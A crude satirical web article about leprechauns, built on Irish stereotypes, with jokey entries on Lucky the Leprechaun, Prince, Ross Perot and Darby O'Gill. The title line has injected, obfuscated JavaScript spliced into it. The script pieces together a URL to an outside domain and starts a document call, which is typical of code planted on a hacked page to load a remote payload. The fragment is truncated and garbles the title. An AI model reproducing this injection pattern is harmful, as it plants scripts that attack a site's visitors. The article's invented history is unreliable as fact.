Leprechaun

Leprechauns: Mythological stereotypes at their best)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=documen

Know your imaginary creatures

Now with crock o' beer

While leprechauns aren't real, this may be considered irrelevant for masturbatory purposes.

Just The Facts

  1. Small Irish fairy that goes around causing mischief (Think Bono without all the patronising platitudes and with better dress sense. Only taller).
  2. Dresses in a fetching suit made of green velvet.
  3. Keeps a pot of gold at the end of the rainbow.
  4. Only denizens of Ireland to use the word "Begorrah" without irony or sarcasm.

A Real History of an Imaginary Creature

Not to be confused with elves, fairies, trolls, hobbits or Baldwins, these small mischievous creatures inhabit the sometimes sober island of Ireland (see Cracked topic on Ireland). Often referred to as "Little People" (since midgets no longer wanted the name), these vertically challenged japesters would roam the countryside, causing mayhem & havoc everywhere they went.

In early Irish history, leprechauns caused many of the ills & misfortunes that befell the people of the Emerald Isle. Known for their love of practical jokes, they were frequently blamed for the many weird things that happened during the night while someone slept off that evening's bender. Hung-over husbands the land over would reassure their wives that it was leprechauns that took a shit on the bedroom floor. Drunk teenagers would patiently explain to parents that it must have been leprechauns who took the horse and cart out for a joy-ride and wrapped it round a tree. Sozzled students would explain to the dean how it must have been leprechauns who stole then molested a rival college's mascot sheep. You get the picture.

These pranks formed a valuable source of income for the average leprechaun. Because these stories sounded as plausible then as they do today, any person who wanted to have to have a hassle free night getting obliterated was required to pay a sum of money. The leprechaun would then keep all this gold in a pot at the end of a rainbow (This type of fiscal plan still lives on today, practised by banks & financial institutions the world over - see Cracked article Save The Banks, Shoot The Bankers).

All this money, however made the average leprechaun as lazy and feckless as the rest of the Irish. Bored of playing jokes on drunken Irish people, they decide to out-source the job. The contract went to the British, who put in a lowball bid due to their unrelenting hatred of the Irish. The new jokesters however never really seem to get the hang of the simple prank, replacing the good-natured humour with pants-shitting terror. The leprechauns were aghast. They decided to end the contract, first with lawyers, and when that didn't work, pipe-bombs. The next 800 years were not so good for the leprechauns (and even worse for the Irish). Many were killed, more fled the country (see below). During the 1916 Easter Rising, the leprechauns were all but wiped out when much promised support from the Easter Bunny failed to materialize.

fighting leprechaun


Today, these imaginary creatures are rarely seen, except by tour guides milking gullible American tourists out of their money (this activity used to provide 80% of Ireland's GDP until 1989 and all of it after 2009). Most of their vast wealth is now gone (they invested it with Bernie Madoff who swore he knew of a rainbow who gave guaranteed returns of 18% to 20%), and with most of the country sober & hardworking (and broke), extortion isn't the breadwinner it used to be. They eke out a living fixing shoes & working as Bono impersonators (who, despite rumours to the contrary, is not a leprechaun - just a giant irritating shit).

The Leprechaun Diaspora

Some Leprechauns who fled the Troubles (an Irish euphemism for nearly an eon's worth of sectarian bloodshed) did however find fame & fortune. With their unbelievable luck and stereotypical behaviour, many found work in the New World. Some became voice coaches to Hollywood actors wanting to play an "Oirishmaan" . A few found employment as tailors for Prince (himself a leprechaun on his mother's side).

Prince Rogers Nelson, age 9

Prince Rogers Nelson, age 9

Famous Leprechauns and their Descendants

Lucky the Leprechaun


Spokesperson for Lucky Charms, a breakfast cereal made from sugar and pertochemical byproducts with just enough oats in it so the FDA don't start busting their balls. See Cracked article: The 6 Creepiest Marketing Campaigns Aimed at Children. Convinced children are after his Lucky Charms. At least that's what he told the judge at his bail hearing.

The Leprechaun



Suffering from post-traumatic stress disorder from his time in the Troubles, this much misunderstood war hero should be forgiven for his murderous rampages & sociopathic behaviour. He's just trying to reclaim his gold from all those nubile young teens. What he should be condemned for is launching Jennifer Aniston upon the world. Now that's just fucking evil. Although this might explain the lapse in judgement.

Prince

Prince in a green leotard


You need an exposition for this one? See Cracked topic on Prince.

Ross Perot

perot

The offspring of a leprechaun and an escaped mental patient, Perot ran for President in 1996 using his pot of gold as a campaign war chest. Although he was defeated, America voted an even bigger Southern loony in 4 years later.


King Brian (from Darby O'Gill and the Little People)


Considered by leprechauns to be their Citizen Kane, this movie held the record for the worst Oirish accents and stereotypes ever committed to celluloid - until Far And Away was released. Set in an idyllic Oirish village in the 1920's (seemingly unaffected by the ongoing civil war), it tells the tale of loveable drunk Darby O'Gill, who beats Brian, King of the Leprechauns in a drinking contest - a heart-warming stereotype for all the family to enjoy. Made by Disney before they went all politically correct, it was shot entirely on location at their Ranch in Burbank, CA.

Featuring a young Sean Connery (see Cracked on Sean Connery) as the drunken romantic lead, who must fight a drunken bully named Pony for the hand of drunken Darby's drunken daughter, the fair and drunken Katie. Upon its release, all this drinking and fighting was considered by many Irish to be offensively stereotypical. At a picket to protest the film, noted actor Cyril Cusack got rat-arsed and offered to fight the film's producers, before passing out in a pool of his own piss.


...and a shitload of stereotypes

Bond: The Early Years

Tom Cruise


Scientology is real
- what a prankster. See Cracked on Cruise. As opposed to Cruise on crack.

Barack Obama, apparently

O'bama

Is there no depth to which this publicity whore will not sink?